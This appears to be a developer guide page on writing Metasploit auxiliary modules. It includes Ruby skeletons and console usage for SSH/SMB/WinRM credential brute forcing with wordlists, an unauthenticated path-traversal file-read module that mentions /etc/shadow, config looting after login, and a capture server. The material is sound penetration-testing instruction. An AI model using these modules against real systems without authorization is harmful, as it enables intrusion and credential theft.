Auxiliary
Auxiliary modules do not execute payloads. They cover enumeration, login attempts, configuration changes, DoS, and listening servers. References are packages/metasploit-framework/modules/auxiliary/ and the bundled wiki How-to-get-started-with-writing-an-auxiliary-module.md.
The shared process is in Common Steps. This page covers auxiliary-specific types, usage examples, and modules that serve as writing references.
When to use an auxiliary module
Section titled “When to use an auxiliary module”| Condition | Type |
|---|---|
| Open a payload session | exploit |
| Only collect information, verify credentials, or perform administrative actions | auxiliary |
| Can run OS commands but does not yet deliver a payload | auxiliary for now; it can become an exploit later |
Categories
Section titled “Categories”| Directory | Purpose |
|---|---|
scanner/ | Multi-host scanning with Msf::Auxiliary::Scanner |
gather/ | Information collection from a single target |
admin/ | Administrative actions such as changing settings or creating accounts |
dos/ | DoS |
fuzzers/ | fuzzer |
server/ | Listening server |
sniffer/ | sniffer |
Modules to study
Section titled “Modules to study”| Reference module | What it teaches |
|---|---|
auxiliary/example | Actions / PassiveActions / minimal run |
auxiliary/scanner/http/http_version | Short example of HttpClient + Scanner + report_service |
auxiliary/scanner/http/title | Another HTTP scanning example |
auxiliary/scanner/ssh/ssh_login | AuthBrute + SSH + credential storage + session creation |
auxiliary/scanner/smb/smb_version | SMB mixin + Scanner + fingerprinting |
auxiliary/scanner/smb/smb_login | SMB login attempts |
auxiliary/scanner/smb/smb_enumshares | Enumeration after authentication |
auxiliary/scanner/winrm/winrm_login | WinRM login / CreateSession |
auxiliary/admin/dcerpc/icpr_cert | Example of an admin-specific mixin (MsIcpr) |
auxiliary/scanner/mssql/mssql_login | Database login scanner |
auxiliary/server/socks_proxy | How to use a server module (listener) |
Skeletons by type
Section titled “Skeletons by type”Even among scanner and gather modules, the structure varies with storage, authentication, and request format.
1. Minimal module and Actions
Section titled “1. Minimal module and Actions”1a. Branch by Action (auxiliary/example)
Section titled “1a. Branch by Action (auxiliary/example)”class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super( update_info( info, 'Name' => 'Sample Auxiliary Module', 'Author' => ['you'], 'License' => MSF_LICENSE, 'Actions' => [ ['List', { 'Description' => 'Enumerate' }], ['Dump', { 'Description' => 'Dump config' }] ], 'DefaultAction' => 'List' ) ) end
def run case action.name when 'List' then do_list when 'Dump' then do_dump end endend1b. Gather with only one Action (qnap_lfi family)
Section titled “1b. Gather with only one Action (qnap_lfi family)”'Actions' => [ ['Download', { 'Description' => 'Download FILEPATH' }]],'DefaultAction' => 'Download'
def run # Read FILEPATH and call store_loot / create_credentialend2. HTTP scanner
Section titled “2. HTTP scanner”2a. Fingerprint + report_service (http_version)
Section titled “2a. Fingerprint + report_service (http_version)”def run_host(ip) connect res = send_request_raw('uri' => '/', 'method' => 'GET') fp = http_fingerprint(response: res) print_good("#{ip}:#{rport} #{fp}") if fp report_service(host: rhost, port: rport, name: (ssl ? 'https' : 'http'), info: fp)ensure disconnectend2b. Get title + notes + follow redirects (title family)
Section titled “2b. Get title + notes + follow redirects (title family)”def run_host(target_host) http_opts = { 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'query' => datastore['HttpQueryString'] } res = if datastore['FollowRedirect'] send_request_cgi!(http_opts, datastore['HttpClientTimeout'] || 20, datastore['FollowRedirectDepth']) else send_request_cgi(http_opts) end return if res.nil?
title = res.body[/<title>(?<t>[^<]+)/i, :t] print_good("#{target_host} [#{title}]") if datastore['SHOW_TITLES'] && title report_note(host: target_host, port: rport, type: 'http.title', data: { title: title }, update: :unique_data) if datastore['STORE_NOTES']end2c. Lightweight scanner that only checks path existence
Section titled “2c. Lightweight scanner that only checks path existence”def run_host(ip) %w[/admin /login /api/v1].each do |path| res = send_request_cgi('method' => 'GET', 'uri' => path) next unless res && res.code == 200 print_good("#{ip}#{path} => #{res.code}") report_note(host: ip, type: 'http.path', data: { path: path, code: res.code }, update: :unique_data) endend3. Authentication brute force
Section titled “3. Authentication brute force”3a. SSH (ssh_login family)
Section titled “3a. SSH (ssh_login family)”include Msf::Auxiliary::AuthBruteinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::SSH::Options
def run_host(ip) cred_collection = build_credential_collection( username: datastore['USERNAME'], password: datastore['PASSWORD'] ) # LoginScanner::SSH#scan! → create_credential_and_login / CreateSessionend3b. SMB (smb_login family)
Section titled “3b. SMB (smb_login family)”AuthBrute + SMB Client. Some examples call create_credential and create_credential_login separately on success.
def report_creds(ip, port, result) report_service(host: ip, port: port, name: 'smb', proto: 'tcp') credential_core = create_credential(result.to_h.merge( workspace_id: myworkspace_id, module_fullname: fullname )) create_credential_login( core: credential_core, status: Metasploit::Model::Login::Status::SUCCESSFUL, address: ip, port: port, protocol: 'tcp', service_name: 'smb' )end3c. Check one credential only (no wordlist)
Section titled “3c. Check one credential only (no wordlist)”def run_host(ip) # Only USERNAME/PASSWORD; do not use USER_FILE ok = try_login(ip, datastore['USERNAME'], datastore['PASSWORD']) if ok create_credential_and_login(...) print_good("#{ip} login ok") else invalidate_login(...) endend4. HTTP / file gathering (single host)
Section titled “4. HTTP / file gathering (single host)”4a. Save config as loot after form login
Section titled “4a. Save config as loot after form login”def run res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'keep_cookies' => true, 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::NoAccess, "login failed: #{res&.code}") unless res && res.code == 302
res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'config.php') ) path = store_loot('example.config', 'text/plain', rhost, res.body, 'config.php') print_good("Loot: #{path}")end4b. Unauthenticated LFI / arbitrary file read (qnap_lfi family)
Section titled “4b. Unauthenticated LFI / arbitrary file read (qnap_lfi family)”def run traversal = '../' * datastore['DEPTH'] res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'read'), 'vars_get' => { 'file' => traversal + datastore['FILEPATH'] } ) fail_with(Failure::UnexpectedReply, 'read failed') unless res && res.code == 200 print_line(res.body) if datastore['PRINT'] store_loot('qnap.file', 'text/plain', rhost, res.body, File.basename(datastore['FILEPATH'])) # For /etc/shadow, consider create_credential tooend4c. Fetch a page with Basic authentication
Section titled “4c. Fetch a page with Basic authentication”def run res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'secret'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) ) fail_with(Failure::NoAccess, 'auth failed') unless res && res.code == 200 store_loot('example.secret', 'text/html', rhost, res.body)end4d. Identify the device in check before gathering
Section titled “4d. Identify the device in check before gathering”def check res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'authLogin.cgi')) return CheckCode::Safe unless res && res.code == 200 CheckCode::Appears('QNAP-like device')end
def run fail_with(Failure::NotVulnerable, 'not target') unless check == CheckCode::Appears # Collection logicend5. TCP / SMB scanner
Section titled “5. TCP / SMB scanner”5a. TCP banner
Section titled “5a. TCP banner”include Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report
def run_host(ip) connect banner = sock.get_once(1024, 5).to_s print_good("#{ip}:#{rport} #{banner.strip}") unless banner.empty? report_service(host: ip, port: rport, name: 'unknown', info: banner.strip)ensure disconnectend5b. SMB version (smb_version family)
Section titled “5b. SMB version (smb_version family)”include Msf::Exploit::Remote::SMB::Clientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report
def run_host(ip) connect # Dialect negotiation / OS information report_service(host: ip, port: rport, name: 'smb', info: info_string)ensure disconnectend6. Server modules
Section titled “6. Server modules”6a. SOCKS (socks_proxy)
Section titled “6a. SOCKS (socks_proxy)”Users start the listener with run -j. To write one yourself, use TcpServer or a dedicated mixin and consider PassiveActions.
6b. Simple HTTP capture server
Section titled “6b. Simple HTTP capture server”include Msf::Exploit::Remote::HttpServer
def run # Let the parent handle the equivalent of start_service / similar to on_request_uri in exploit modulesend
def on_request_uri(cli, request) print_status("#{cli.peerhost} #{request.method} #{request.uri}") store_loot('http.capture', 'text/plain', cli.peerhost, request.to_s) send_response(cli, 'ok')endUsage examples
Section titled “Usage examples”Scan for HTTP versions
Section titled “Scan for HTTP versions”use auxiliary/scanner/http/http_versionset RHOSTS 10.10.11.0/24set THREADS 10set RPORT 80runservices -p 80For HTTPS:
set RPORT 443set SSL truerunSSH login
Section titled “SSH login”use auxiliary/scanner/ssh/ssh_loginset RHOSTS 10.10.11.123set USERNAME svc-userset PASSWORD '...'set STOP_ON_SUCCESS trueset CreateSession truerunsessions -lcredsWith a wordlist:
unset PASSWORDset PASS_FILE /usr/share/wordlists/rockyou.txtset BRUTEFORCE_SPEED 3runSMB version / share enumeration
Section titled “SMB version / share enumeration”use auxiliary/scanner/smb/smb_versionset RHOSTS 10.10.11.123run
use auxiliary/scanner/smb/smb_enumsharesset RHOSTS 10.10.11.123set SMBUser userset SMBPass '...'set SMBDomain .runWinRM login
Section titled “WinRM login”use auxiliary/scanner/winrm/winrm_loginset RHOSTS 10.10.11.123set USERNAME svcset PASSWORD '...'set DOMAIN .set RPORT 5985set CreateSession truerunsessions -lSOCKS proxy (server module)
Section titled “SOCKS proxy (server module)”use auxiliary/server/socks_proxyset SRVHOST 127.0.0.1set SRVPORT 1080run -jjobs -lLoad a custom scanner
Section titled “Load a custom scanner”reload_lib -ause auxiliary/scanner/http/my_bannerset RHOSTS 10.10.11.123runHow to assemble each type
Section titled “How to assemble each type”| Type | Base + mixins | Entry point | Reference |
|---|---|---|---|
| One-off gather | Auxiliary + HttpClient + Report | run | Login dump above |
| Multi-host scanner | + Scanner | run_host | http_version |
| Wordlist login | + AuthBrute (+ Scanner) | run_host | ssh_login |
| TCP / SMB banner | + Tcp / SMB + Scanner | run_host | smb_version |
| Listening server | + HttpServer, etc. | run / PassiveActions | socks_proxy |
Relationship to the common steps
Section titled “Relationship to the common steps”- Choose a Module Type and Location →
auxiliary/<category>/... - Base Classes and Mixins
- update_info
- register_options
- Entry Methods →
run/run_host - Saving Results
- Cleanup
Implementation notes
Section titled “Implementation notes”- For Scanner, implement
run_host. Do not defineruna second time. - Do not register
RHOSTS/THREADSagain if a mixin provides them. - Always check
res.nil?. - Keep gather and admin in separate modules.
- When you need to open a session, move to Exploit.

